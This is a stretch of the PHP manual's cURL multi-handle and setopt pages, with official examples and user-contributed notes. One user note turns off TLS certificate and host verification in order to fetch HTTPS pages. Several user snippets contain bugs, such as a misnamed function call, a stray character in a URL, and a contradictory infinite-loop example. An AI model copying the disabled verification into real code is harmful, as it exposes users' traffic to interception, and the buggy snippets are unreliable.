Parameters

ch

A cURL handle returned by curl_init().

Return Values

Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set.

See Also

  • curl_multi_init() - Returns a new cURL multi handle

User Contributed Notes

michael at xendica dot com 20-Apr-2014 03:28
This seems to work as expected for me - allowing me to get the content from a curl_multi operation into variables :

(Thanks go to many other notes in related documentation (there is much copy/pasting) all I did was add the relevant line(s))

<?
    $aURLs = array("http://www.php.net","http://www.w3cschools.com"); // array of URLs
    $mh = curl_multi_init(); // init the curl Multi

    $aCurlHandles = array(); // create an array for the individual curl handles

    foreach ($aURLs as $id=>$url) { //add the handles for each url
        $ch = curl_setup($url,$socks5_proxy,$usernamepass);
        $ch = curl_init(); // init curl, and then setup your options
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important
        curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output

        $aCurlHandles[$url] = $ch;
        curl_multi_add_handle($mh,$ch);
    }

    $active = null;
    //execute the handles
    do {
        $mrc = curl_multi_exec($mh, $active);
    }
    while ($mrc == CURLM_CALL_MULTI_PERFORM);

    while ($active && $mrc == CURLM_OK) {
        if (curl_multi_select($mh) != -1) {
            do {
                $mrc = curl_multi_exec($mh, $active);
            } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        }
    }

/* This is the relevant bit */
        // iterate through the handles and get your content
    foreach ($aCurlHandles as $url=>$ch) {
        $html = curl_multi_getcontent($ch); // get the content
                // do what you want with the HTML
        curl_multi_remove_handle($mh, $ch); // remove the handle (assuming  you are done with it);
    }
/* End of the relevant bit */

    curl_multi_close($mh); // close the curl multi handler

?>
butesa at freenet dot de 11-Sep-2013 05:51
You can use curl_multi_getcontent() on a curl handle that was executed with curl_exec() (and not added to a multi handle).
However, this is not very useful because curl_multi_getcontent() will return the same as curl_exec() then.

<?php
 $ch = curl_init('http://www.example.com/');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $a = curl_exec($ch);
 $b = curl_multi_getcontent($ch);
 var_dump($a === $b);
 curl_close($ch);
?>
will return:

bool(true)


Get information about the current transfers

  • « curl_multi_getcontent
  • curl_multi_init »
  • PHP Manual
  • cURL Functions
  • Get information about the current transfers

curl_multi_info_read

(PHP 5)

curl_multi_info_read — Get information about the current transfers

Description

array curl_multi_info_read ( resource $mh [, int &$msgs_in_queue = NULL ] )

Ask the multi handle if there are any messages or information from the individual transfers. Messages may include information such as an error code from the transfer or just the fact that a transfer is completed.

Repeated calls to this function will return a new result each time, until a FALSE is returned as a signal that there is no more to get at this point. The integer pointed to with msgs_in_queue will contain the number of remaining messages after this function was called.

Warning

The data the returned resource points to will not survive calling curl_multi_remove_handle().

Parameters

mh

A cURL multi handle returned by curl_multi_init().

msgs_in_queue

Number of messages that are still in the queue

Return Values

On success, returns an associative array for the message, FALSE on failure.

Contents of the returned array
Key: | Value:
msg | The CURLMSG_DONE constant. Other return values are currently not available.
result | One of the CURLE_* constants. If everything is OK, the CURLE_OK will be the result.
handle | Resource of type curl indicates the handle which it concerns.

Examples

Example #1 A curl_multi_info_read() example

<?php

$urls = array(
   "http://www.cnn.com/",
   "http://www.bbc.co.uk/",
   "http://www.yahoo.com/"
);

$mh = curl_multi_init();

foreach ($urls as $i => $url) {
    $conn[$i] = curl_init($url);
    curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
    curl_multi_add_handle($mh, $conn[$i]);
}

do {
    $status = curl_multi_exec($mh, $active);
    $info = curl_multi_info_read($mh);
    if (false !== $info) {
        var_dump($info);
    }
} while ($status === CURLM_CALL_MULTI_PERFORM || $active);

foreach ($urls as $i => $url) {
    $res[$i] = curl_multi_getcontent($conn[$i]);
    curl_close($conn[$i]);
}

var_dump(curl_multi_info_read($mh));

?>

The above example will output something similar to:

array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(5) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(7) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(6) of type (curl)
}
bool(false)

Changelog

Version | Description
5.2.0 | msgs_in_queue was added.

See Also

  • curl_multi_init() - Returns a new cURL multi handle

User Contributed Notes

Nick Smith 28-May-2010 10:41
Just to let others who might be struggling to get it to work, curl_multi_info_read() doesn't work in PHP versions before 5.2.0, and instead returns NULL immediately.


Returns a new cURL multi handle

  • « curl_multi_info_read
  • curl_multi_remove_handle »
  • PHP Manual
  • cURL Functions
  • Returns a new cURL multi handle

curl_multi_init

(PHP 5)

curl_multi_init — Returns a new cURL multi handle

Description

resource curl_multi_init ( void )

Allows the processing of multiple cURL handles in parallel.

Parameters

This function has no parameters.

Return Values

Returns a cURL multi handle resource on success, FALSE on failure.

Examples

Example #1 curl_multi_init() example

This example will create two cURL handles, add them to a multi handle, and then run them in parallel.

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;
//execute the handles
do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) != -1) {
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
    }
}

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

See Also

  • curl_init() - Initialize a cURL session
  • curl_multi_close() - Close a set of cURL handles

User Contributed Notes

xxavalanchexx at gmail dot com 20-May-2014 09:17
According to https://bugs.php.net/bug.php?id=61141:

On Windows setups using libcurl version 7.24 or later (which seems to correspond to PHP 5.3.10 or later), you may find that curl_multi_select() always returns -1, causing the example code in the documentation to timeout. This is, apparently, not strictly a bug: according to the libcurl documentation, you should add your own sleep if curl_multi_select returns -1.

Therefore, in order to work correctly on Windows for PHP 5.3.10+, the second loop in the example code should look something like the following:

<?php
while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) == -1) {
        usleep(100);
    }
    do {
        $mrc = curl_multi_exec($mh, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
?>
hushuilong at gmail dot com 05-Aug-2011 09:21
Simulate multiple threads request:
<?php
function multiple_threads_request($nodes){
        $mh = curl_multi_init();
        $curl_array = array();
        foreach($nodes as $i => $url)
        {
            $curl_array[$i] = curl_init($url);
            curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, true);
            curl_multi_add_handle($mh, $curl_array[$i]);
        }
        $running = NULL;
        do {
            usleep(10000);
            curl_multi_exec($mh,$running);
        } while($running > 0);

        $res = array();
        foreach($nodes as $i => $url)
        {
            $res[$url] = curl_multi_getcontent($curl_array[$i]);
        }

        foreach($nodes as $i => $url){
            curl_multi_remove_handle($mh, $curl_array[$i]);
        }
        curl_multi_close($mh);
        return $res;
}
print_r(muti_thread_request(array(
    'http://www.example.com',
    'http://www.example.net',
)));
?>
jaisen at jmathai dot com 30-May-2008 09:09
http://github.com/jmathai/epicode/tree/master/php/EpiCurl.php

If you fire off 10 curl requests in parallel you don't have to wait for all of them to be finished before accessing one which is already finished.


Remove a multi handle from a set of cURL handles

  • « curl_multi_init
  • curl_multi_select »
  • PHP Manual
  • cURL Functions
  • Remove a multi handle from a set of cURL handles

curl_multi_remove_handle

(PHP 5)

curl_multi_remove_handle — Remove a multi handle from a set of cURL handles

Description

int curl_multi_remove_handle ( resource $mh , resource $ch )

Removes a given ch handle from the given mh handle. When the ch handle has been removed, it is again perfectly legal to run curl_exec() on this handle. Removing the ch handle while being used, will effectively halt the transfer in progress involving that handle.

Parameters

mh

A cURL multi handle returned by curl_multi_init().

ch

A cURL handle returned by curl_init().

Return Values

Returns 0 on success, or one of the CURLM_XXX error codes.

See Also

  • curl_init() - Initialize a cURL session
  • curl_multi_init() - Returns a new cURL multi handle
  • curl_multi_add_handle() - Add a normal cURL handle to a cURL multi handle

User Contributed Notes

mercury at caucasus dot net 23-Jun-2010 11:00
It is always a good idea to use curl_close() on all individual curl handles after executing curl_multi_remove_handle(). This will free up additional memory resources. So, a typical code would look like:

<?php
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, 'http://www.example.net/');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);

$mh = curl_multi_init();

curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

$active = null;

do {
curl_multi_exec($mh, $active);
}
while($active);

$res1 = curl_multi_getcontent($ch1);
$res2 = curl_multi_getcontent($ch2);

curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);

curl_multi_close($mh);

curl_close($ch1);
curl_close($ch2);
?>


Wait for activity on any curl_multi connection

  • « curl_multi_remove_handle
  • curl_multi_setopt »
  • PHP Manual
  • cURL Functions
  • Wait for activity on any curl_multi connection

curl_multi_select

(PHP 5)

curl_multi_select — Wait for activity on any curl_multi connection

Description

int curl_multi_select ( resource $mh [, float $timeout = 1.0 ] )

Blocks until there is activity on any of the curl_multi connections.

Parameters

mh

A cURL multi handle returned by curl_multi_init().

timeout

Time, in seconds, to wait for a response.

Return Values

On success, returns the number of descriptors contained in the descriptor sets. On failure, this function will return -1 on a select failure or timeout (from the underlying select system call).

See Also

  • curl_multi_init() - Returns a new cURL multi handle

User Contributed Notes

nevil85 at gmail dot com 16-Jul-2014 01:06
Even after so many distro releases, in PHP v5.5.9 and libcurl v7.35.0, curl_multi_select still returns -1. The only work around here is to wait and proceed like nothing ever happened. You have to determine the "wait" required here.

In my application a very small interval like usleep(1) worked. For example:

<?php
        // While we're still active, execute curl
        $active = null;
        do {
            $mrc = curl_multi_exec($multi, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);

        while ($active && $mrc == CURLM_OK) {
            // Wait for activity on any curl-connection
            if (curl_multi_select($multi) == -1) {
                usleep(1);
            }

            // Continue to exec until curl is ready to
            // give us more data
            do {
                $mrc = curl_multi_exec($multi, $active);
            } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        }
?>

Internally php curl_multi_select uses libcurl curl_multi_fdset function and its libcurl documentation says :
http://curl.haxx.se/libcurl/c/curl_multi_fdset.html

"When libcurl returns -1 in max_fd, it is because libcurl currently does something that isn't possible for your application to monitor with a socket and unfortunately you can then not know exactly when the current action is completed using select(). When max_fd returns with -1, you need to wait a while and then proceed and call curl_multi_perform anyway. How long to wait? I would suggest 100 milliseconds at least, but you may want to test it out in your own particular conditions to find a suitable value.

When doing select(), you should use curl_multi_timeout to figure out how long to wait for action."

Untill PHP implements curl_multi_timeout() we have to play with our application and determine the "wait".
xxavalanchexx at gmail dot com 20-May-2014 09:13
According to https://bugs.php.net/bug.php?id=61141:

On Windows setups using libcurl version 7.24 or later (which seems to correspond to PHP 5.3.10 or later), you may find that this always returns -1. This is, apparently, not strictly a bug: according to the libcurl documentation, you should add your own sleep if curl_multi_select returns -1.

For example:
<?php
/* setup $mh */

$active = null;
do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) == -1) {
        usleep(100);
    }
    do {
        $mrc = curl_multi_exec($mh, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}

/* close $mh */
?>
Anonymous 01-Oct-2013 05:55
In 5.3.9+, curl_multi_select always returns -1. If this is your case, just wait a bit and then proceed like nothing ever happened:
<?php
do {
    $mrc = curl_multi_exec($multi, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    //check for results and execute until everything is done

    if (curl_multi_select($multi) == -1) {
        //if it returns -1, wait a bit, but go forward anyways!
        usleep(100);
    }

    //do something with the return values
    while(($info = curl_multi_info_read($multi)) !== false){
        if ($info["result"] == CURLE_OK){
            $content = curl_multi_getcontent($info["handle"]);
            do_something($content);
        }
    }
    do {
        $mrc = curl_multi_exec($multi, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
?>
Alex Palmer 18-Dec-2012 01:08
On php 5.3.18+ be aware that curl_multi_select() may return -1 forever until you call curl_multi_exec().
See https://bugs.php.net/bug.php?id=63411 for more information.
vigo dot von dot harrach at gmx dot de 06-Jun-2012 07:53
curl_multi_select($mh, $timeout) simply blocks for $timeout seconds while curl_multi_exec() returns CURLM_CALL_MULTI_PERFORM. Otherwise, it works as intended, and blocks until at least one connection has completed or $timeout seconds, whatever happens first.

For that reason, curl_multi_exec() should always be wrapped:

<?php
  function full_curl_multi_exec($mh, &$still_running) {
    do {
      $rv = curl_multi_exec($mh, $still_running);
    } while ($rv == CURLM_CALL_MULTI_PERFORM);
    return $rv;
  }
?>

With that, the core of "multi" processing becomes (ignoring error handling for brevity):

<?php
  full_curl_multi_exec($mh, $still_running); // start requests
  do { // "wait for completion"-loop
    curl_multi_select($mh); // non-busy (!) wait for state change
    full_curl_multi_exec($mh, $still_running); // get new state
    while ($info = curl_multi_info_read($mh)) {
      // process completed request (e.g. curl_multi_getcontent($info['handle']))
    }
  } while ($still_running);
?>

Note that after starting requests, retrieval is done in the background - one of the better shots at parallel processing in PHP.
Anonymous 24-Jul-2010 05:33
Since the docs are still lacking, here's an example of how to use the function. The following code will keep checking all active threads until one of them returns the HTTP 200 Ok status code, or simply end. On success, it will return the URL that worked.

<?php
$running=null;
do {
    curl_multi_exec($mh,$running);
    $ready=curl_multi_select($mh); // this will pause the loop
    if($ready>0){
        while($info=curl_multi_info_read($mh)){
            $status=curl_getinfo($info['handle'],CURLINFO_HTTP_CODE);
            if($status==200){
                $successUrl=curl_getinfo($info['handle'],CURLINFO_EFFECTIVE_URL);
                break 2;
            }
        }
    }
} while ($running>0 && $ready!=-1);
?>

The question for the $ready variable is, if it will return the value before or after the timeout has occurred. From my tests it appears that it will return the value immediately, and only then pause the execution. That's because it's always zero the first time through the loop, even if the time limit is as high as 10sec. I've expected it to wait and only then return the value so that came unexpected to me.

As stated by someone else, it also doesn't seem to return the overall count of threads in the handle, but only that of the currently active ones.
public at grik dot net 10-Aug-2008 03:38
This function blocks the calling process until there is activity on any of the connections opened by the curl_multi interface, or until the timeout period has expired.
In other words, it waits for data to be received in the opened connections.

Internally it fetches socket pointers with "curl_multi_fdset()" and runs the "select()" C function.
It returns in 3 cases:
1. Activity is detected on any socket;
2. Timeout has ended (second parameter);
3. Process received any signal (#man kill).

The function returns an integer:
* In case of activity it returns a number, usually 1.
I suppose, it returns the number of connections with activity detected.
* If timeout expires it returns 0
* In case of error it returns -1

Thanks for attention, hope this helps.


Set an option for the cURL multi handle

  • « curl_multi_select
  • curl_multi_strerror »
  • PHP Manual
  • cURL Functions
  • Set an option for the cURL multi handle

curl_multi_setopt

(PHP 5 >= 5.5.0)

curl_multi_setopt — Set an option for the cURL multi handle

Description

bool curl_multi_setopt ( resource $mh , int $option , mixed $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

mh

option

One of the CURLMOPT_* constants.

value

The value to be set on option.

value should be an int for the following values of the option parameter:

Option | Set value to
CURLMOPT_PIPELINING | Pass 1 to enable or 0 to disable. Enabling pipelining on a multi handle will make it attempt to perform HTTP Pipelining as far as possible for transfers using this handle. This means that if you add a second request that can use an already existing connection, the second request will be "piped" on the same connection rather than being executed in parallel.
CURLMOPT_MAXCONNECTS | Pass a number that will be used as the maximum amount of simultaneously open connections that libcurl may cache. Default is 10. When the cache is full, curl closes the oldest one in the cache to prevent the number of open connections from increasing.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Return string describing error code

  • « curl_multi_setopt
  • curl_pause »
  • PHP Manual
  • cURL Functions
  • Return string describing error code

curl_multi_strerror

(PHP 5 >= 5.5.0)

curl_multi_strerror — Return string describing error code

Description

string curl_multi_strerror ( int $errornum )

Returns a text error message describing the given CURLM error code.

Parameters

errornum

One of the » CURLM error codes constants.

Return Values

Returns error string for valid error code, NULL otherwise.

Examples

Example #1 curl_multi_strerror() example

<?php
// Create cURL handles
$ch1 = curl_init("http://example.com"/);
$ch2 = curl_init("http://php.net/");

// Create a cURL multi handle
$mh = curl_multi_init();

// Add the handles to the multi handle
curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

// Execute the multi handle
do {
    $status = curl_multi_exec($mh, $active);
    // Check for errors
    if($status > 0) {
        // Display error message
        echo "ERROR!\n " . curl_multi_strerror($status);
    }
} while ($status === CURLM_CALL_MULTI_PERFORM || $active);
?>

See Also

  • curl_strerror() - Return string describing the given error code
  • » cURL error codes

User Contributed Notes

There are no user contributed notes for this page.


Pause and unpause a connection

  • « curl_multi_strerror
  • curl_reset »
  • PHP Manual
  • cURL Functions
  • Pause and unpause a connection

curl_pause

(PHP 5 >= 5.5.0)

curl_pause — Pause and unpause a connection

Description

int curl_pause ( resource $ch , int $bitmask )

Warning

This function is currently not documented; only its argument list is available.

Parameters

ch

A cURL handle returned by curl_init().

bitmask

One of CURLPAUSE_* constants.

Return Values

Returns an error code (CURLE_OK for no error).

User Contributed Notes

Alex Autrey 26-Jul-2013 09:01
http://curl.haxx.se/libcurl/c/curl_easy_pause.html

Using this function, you can explicitly mark a running connection to get paused, and you can unpause a connection that was previously paused.

A connection can be paused by using this function or by letting the read or the write callbacks return the proper magic return code (CURL_READFUNC_PAUSE and CURL_WRITEFUNC_PAUSE). A write callback that returns pause signals to the library that it couldn't take care of any data at all, and that data will then be delivered again to the callback when the writing is later unpaused.

NOTE: while it may feel tempting, take care and notice that you cannot call this function from another thread.

When this function is called to unpause reading, the chance is high that you will get your write callback called before this function returns.

The handle argument is of course identifying the handle that operates on the connection you want to pause or unpause.

The bitmask argument is a set of bits that sets the new state of the connection. The following bits can be used:


Reset all options of a libcurl session handle

  • « curl_pause
  • curl_setopt_array »
  • PHP Manual
  • cURL Functions
  • Reset all options of a libcurl session handle

curl_reset

(PHP 5 >= 5.5.0)

curl_reset — Reset all options of a libcurl session handle

Description

void curl_reset ( resource $ch )

This function re-initializes all options set on the given cURL handle to the default values.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

No value is returned.

Examples

Example #1 curl_reset() example

<?php
// Create a curl handle
$ch = curl_init();

// Set CURLOPT_USERAGENT option
curl_setopt($ch, CURLOPT_USERAGENT, "My test user-agent");

// Reset all previously set options
curl_reset($ch);

// Send HTTP request
curl_setopt($ch, CURLOPT_URL, 'http://example.com/');
curl_exec($ch); // the previously set user-agent will be not sent, it has been reset by curl_reset

// Close the handle
curl_close($ch);
?>

Notes

Note:

curl_reset() also resets the URL given as the curl_init() parameter.

See Also

  • curl_setopt() - Set an option for a cURL transfer

User Contributed Notes

There are no user contributed notes for this page.


Set multiple options for a cURL transfer

  • « curl_reset
  • curl_setopt »
  • PHP Manual
  • cURL Functions
  • Set multiple options for a cURL transfer

curl_setopt_array

(PHP 5 >= 5.1.3)

curl_setopt_array — Set multiple options for a cURL transfer

Description

bool curl_setopt_array ( resource $ch , array $options )

Sets multiple options for a cURL session. This function is useful for setting a large amount of cURL options without repetitively calling curl_setopt().

Parameters

ch

A cURL handle returned by curl_init().

options

An array specifying which options to set and their values. The keys should be valid curl_setopt() constants or their integer equivalents.

Return Values

Returns TRUE if all options were successfully set. If an option could not be successfully set, FALSE is immediately returned, ignoring any future options in the options array.

Examples

Example #1 Initializing a new cURL session and fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
$options = array(CURLOPT_URL => 'http://www.example.com/',
                 CURLOPT_HEADER => false
                );

curl_setopt_array($ch, $options);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

Prior to PHP 5.1.3 this function can be simulated with:

Example #2 Our own implementation of curl_setopt_array()

<?php
if (!function_exists('curl_setopt_array')) {
   function curl_setopt_array(&$ch, $curl_options)
   {
       foreach ($curl_options as $option => $value) {
           if (!curl_setopt($ch, $option, $value)) {
               return false;
           }
       }
       return true;
   }
}
?>

Notes

Note:

As with curl_setopt(), passing an array to CURLOPT_POST will encode the data as multipart/form-data, while passing a URL-encoded string will encode the data as application/x-www-form-urlencoded.

See Also

  • curl_setopt() - Set an option for a cURL transfer

User Contributed Notes

loop4u at gmail dot com 11-Jun-2011 04:59
it should be noted that when using CURLOPT_POSTFIELDS in a loop, CURLOPT_POSTFIELDS appends to the sting. You can use unset() if you don't want this sort of behavior.

<?php
//this will append postfields

while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
}

//this will NOT append postfields
while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
    unset($options[CURLOPT_POSTFIELDS]);
}
?>
anthon at piwik dot org 01-Jun-2010 03:52
Starting in PHP 5.2.0, CURLOPT_FOLLOWLOCATION can't be set via curl_setopt_array() (or curl_setopt()) when either safe_mode is enabled or open_basedir is set.  In these cases, the order of CURLOPT_* settings in the array can be important.
maran dot emil at gmail dot com 25-Mar-2009 08:54
In case that you need to read SSL page content from https with curl, this function can help you:

<?php

function get_web_page( $url,$curl_data )
{
    $options = array(
        CURLOPT_RETURNTRANSFER => true,         // return web page
        CURLOPT_HEADER         => false,        // don't return headers
        CURLOPT_FOLLOWLOCATION => true,         // follow redirects
        CURLOPT_ENCODING       => "",           // handle all encodings
        CURLOPT_USERAGENT      => "spider",     // who am i
        CURLOPT_AUTOREFERER    => true,         // set referer on redirect
        CURLOPT_CONNECTTIMEOUT => 120,          // timeout on connect
        CURLOPT_TIMEOUT        => 120,          // timeout on response
        CURLOPT_MAXREDIRS      => 10,           // stop after 10 redirects
        CURLOPT_POST            => 1,            // i am sending post data
           CURLOPT_POSTFIELDS     => $curl_data,    // this are my post vars
        CURLOPT_SSL_VERIFYHOST => 0,            // don't verify ssl
        CURLOPT_SSL_VERIFYPEER => false,        //
        CURLOPT_VERBOSE        => 1                //
    );

    $ch      = curl_init($url);
    curl_setopt_array($ch,$options);
    $content = curl_exec($ch);
    $err     = curl_errno($ch);
    $errmsg  = curl_error($ch) ;
    $header  = curl_getinfo($ch);
    curl_close($ch);

  //  $header['errno']   = $err;
  //  $header['errmsg']  = $errmsg;
  //  $header['content'] = $content;
    return $header;
}

$curl_data = "var1=60&var2=test";
$url = "https://www.example.com";
$response = get_web_page($url,$curl_data);

print '<pre>';
print_r($response);

?>
fnjordy at gmail dot com 01-Dec-2008 08:48
There is no CURLOPT_MAXFILESIZE in the PHP module but it's function only works with Content-Length headers anyway.  There are two ways of checking download sizes, one is after the download is complete using filesize(), the other is as the download is running allowing you to terminate before wasting time and disk space.

<?php
$GLOBALS['file_size'] = 0;
$GLOBALS['max_file_size'] = 1024 * 1024;
function on_curl_header($ch, $header)
{
    $trimmed = rtrim($header);
    if (preg_match('/^Content-Length: (\d+)$/', $trimmed, $matches))
    {
        $file_size = $matches[1];
        if ($file_size > $GLOBALS['max_file_size']) {
            // handle error here.
        }
    }
    return strlen($header);
}

function on_curl_write($ch, $data)
{
    $bytes = strlen($data);
    $GLOBALS['file_size'] += $bytes;
    if ($GLOBALS['file_size'] > $GLOBALS['max_file_size']) {
        // handle error here.
    }
    return $bytes;
}

$ch = curl_init();
$options = array(CURLOPT_URL        => 'http://www.php.net/',
         CURLOPT_HEADER        => false,
         CURLOPT_HEADERFUNCTION    => 'on_curl_header',
         CURLOPT_WRITEFUNCTION    => 'on_curl_write');
curl_setopt_array($ch, $options);
curl_exec($ch);
// ...
?>
bendavis78 at gmail dot com 14-Jul-2006 12:58
You can use CURLOPT_HEADERFUNCTION  with a callback inside an object.  This makes is it easy to capture the headers for later use.  For example:

<?php
class Test
{
    public $headers;

    //...

    public function exec($opts)
    {
        $this->headers = array();
        $opts[CURLOPT_HEADERFUNCTION] = array($this, '_setHeader');
        $ch = curl_init();
        curl_setopt_array($ch, $opts);
        return curl_exec($ch);
    }

    private function _setHeader($ch, $header)
    {
        $this->headers[] = $header;
        return strlen($header);
    }

}

$test = new Test();
$opts = array(
   //... your curl opts here
);
$data = $test->exec($opts);
print_r($test->headers);
?>

...something like that

(This works in php v. 5.1.4)


Set an option for a cURL transfer

  • « curl_setopt_array
  • curl_share_close »
  • PHP Manual
  • cURL Functions
  • Set an option for a cURL transfer

curl_setopt

(PHP 4 >= 4.0.2, PHP 5)

curl_setopt — Set an option for a cURL transfer

Description

bool curl_setopt ( resource $ch , int $option , mixed $value )

Sets an option on the given cURL session handle.

Parameters

ch

A cURL handle returned by curl_init().

option

The CURLOPT_XXX option to set.

value

The value to be set on option.

value should be a bool for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_AUTOREFERER | TRUE to automatically set the Referer: field in requests where it follows a Location: redirect.
CURLOPT_BINARYTRANSFER | TRUE to return the raw output when CURLOPT_RETURNTRANSFER is used. | From PHP 5.1.3, this option has no effect: the raw output will always be returned when CURLOPT_RETURNTRANSFER is used.
CURLOPT_COOKIESESSION | TRUE to mark this as a new cookie "session". It will force libcurl to ignore all cookies it is about to load that are "session cookies" from the previous session. By default, libcurl always stores and loads all cookies, independent if they are session cookies or not. Session cookies are cookies without expiry date and they are meant to be alive and existing for this "session" only.
CURLOPT_CERTINFO | TRUE to output SSL certification information to STDERR on secure transfers. | Added in cURL 7.19.1. Available since PHP 5.3.2. Requires CURLOPT_VERBOSE to be on to have an effect.
CURLOPT_CONNECT_ONLY | TRUE tells the library to perform all the required proxy authentication and connection setup, but no data transfer. This option is implemented for HTTP, SMTP and POP3. | Added in 7.15.2. Available since PHP 5.5.0.
CURLOPT_CRLF | TRUE to convert Unix newlines to CRLF newlines on transfers.
CURLOPT_DNS_USE_GLOBAL_CACHE | TRUE to use a global DNS cache. This option is not thread-safe and is enabled by default.
CURLOPT_FAILONERROR | TRUE to fail verbosely if the HTTP code returned is greater than or equal to 400. The default behavior is to return the page normally, ignoring the code.
CURLOPT_FILETIME | TRUE to attempt to retrieve the modification date of the remote document. This value can be retrieved using the CURLINFO_FILETIME option with curl_getinfo().
CURLOPT_FOLLOWLOCATION | TRUE to follow any "Location: " header that the server sends as part of the HTTP header (note this is recursive, PHP will follow as many "Location: " headers that it is sent, unless CURLOPT_MAXREDIRS is set).
CURLOPT_FORBID_REUSE | TRUE to force the connection to explicitly close when it has finished processing, and not be pooled for reuse.
CURLOPT_FRESH_CONNECT | TRUE to force the use of a new connection instead of a cached one.
CURLOPT_FTP_USE_EPRT | TRUE to use EPRT (and LPRT) when doing active FTP downloads. Use FALSE to disable EPRT and LPRT and use PORT only.
CURLOPT_FTP_USE_EPSV | TRUE to first try an EPSV command for FTP transfers before reverting back to PASV. Set to FALSE to disable EPSV.
CURLOPT_FTP_CREATE_MISSING_DIRS | TRUE to create missing directories when an FTP operation encounters a path that currently doesn't exist.
CURLOPT_FTPAPPEND | TRUE to append to the remote file instead of overwriting it.
CURLOPT_TCP_NODELAY | Pass a long specifying whether the TCP_NODELAY option is to be set or cleared (1 = set, 0 = clear). The option is cleared by default. | Available since PHP 5.2.1 for versions compiled with libcurl 7.11.2 or greater.
CURLOPT_FTPASCII | An alias of CURLOPT_TRANSFERTEXT. Use that instead.
CURLOPT_FTPLISTONLY | TRUE to only list the names of an FTP directory.
CURLOPT_HEADER | TRUE to include the header in the output.
CURLINFO_HEADER_OUT | TRUE to track the handle's request string. | Available since PHP 5.1.3. The CURLINFO_ prefix is intentional.
CURLOPT_HTTPGET | TRUE to reset the HTTP request method to GET. Since GET is the default, this is only necessary if the request method has been changed.
CURLOPT_HTTPPROXYTUNNEL | TRUE to tunnel through a given HTTP proxy.
CURLOPT_MUTE | TRUE to be completely silent with regards to the cURL functions. | Removed in cURL 7.15.5 (You can use CURLOPT_RETURNTRANSFER instead)
CURLOPT_NETRC | TRUE to scan the ~/.netrc file to find a username and password for the remote site that a connection is being established with.
CURLOPT_NOBODY | TRUE to exclude the body from the output. Request method is then set to HEAD. Changing this to FALSE does not change it to GET.
CURLOPT_NOPROGRESS

TRUE to disable the progress meter for cURL transfers.

Note:

PHP automatically sets this option to TRUE, this should only be changed for debugging purposes.

CURLOPT_NOSIGNAL | TRUE to ignore any cURL function that causes a signal to be sent to the PHP process. This is turned on by default in multi-threaded SAPIs so timeout options can still be used. | Added in cURL 7.10.
CURLOPT_POST | TRUE to do a regular HTTP POST. This POST is the normal application/x-www-form-urlencoded kind, most commonly used by HTML forms.
CURLOPT_PUT | TRUE to HTTP PUT a file. The file to PUT must be set with CURLOPT_INFILE and CURLOPT_INFILESIZE.
CURLOPT_RETURNTRANSFER | TRUE to return the transfer as a string of the return value of curl_exec() instead of outputting it out directly.
CURLOPT_SAFE_UPLOAD | TRUE to disable support for the @ prefix for uploading files in CURLOPT_POSTFIELDS, which means that values starting with @ can be safely passed as fields. CURLFile may be used for uploads instead. | Added in PHP 5.5.0 with FALSE as the default value. PHP 5.6.0 changes the default value to TRUE.
